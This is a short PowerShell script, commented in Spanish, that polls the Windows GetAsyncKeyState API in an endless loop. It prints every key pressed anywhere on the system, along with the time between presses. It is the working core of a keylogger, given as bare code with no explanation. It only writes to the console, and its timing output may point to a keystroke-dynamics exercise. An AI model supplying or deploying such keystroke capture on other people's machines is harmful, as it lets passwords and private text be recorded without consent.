1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 |
#Declarar funciones $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); '@ #Cargar las funciones declaradas $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru $Comienzo = Get-Date try { #$total = 0 #Bucle infinito para capturar pulsación de teclas while(1) { #Para cada uno de los caracteres ASCII for ($ascii = 9; $ascii -le 254; $ascii++) { #Capturar key state $state = $API::GetAsyncKeyState($ascii) #Si se ha pulsado una tecla if ($state -eq -32767) { [char]$ascii[0] $Tiempo = ((Get-Date) - $Comienzo).TotalMilliseconds #Tiempo que hay entre el pulsado de una letra y otra letra $Tiempo $Comienzo = Get-Date } } } } finally { } |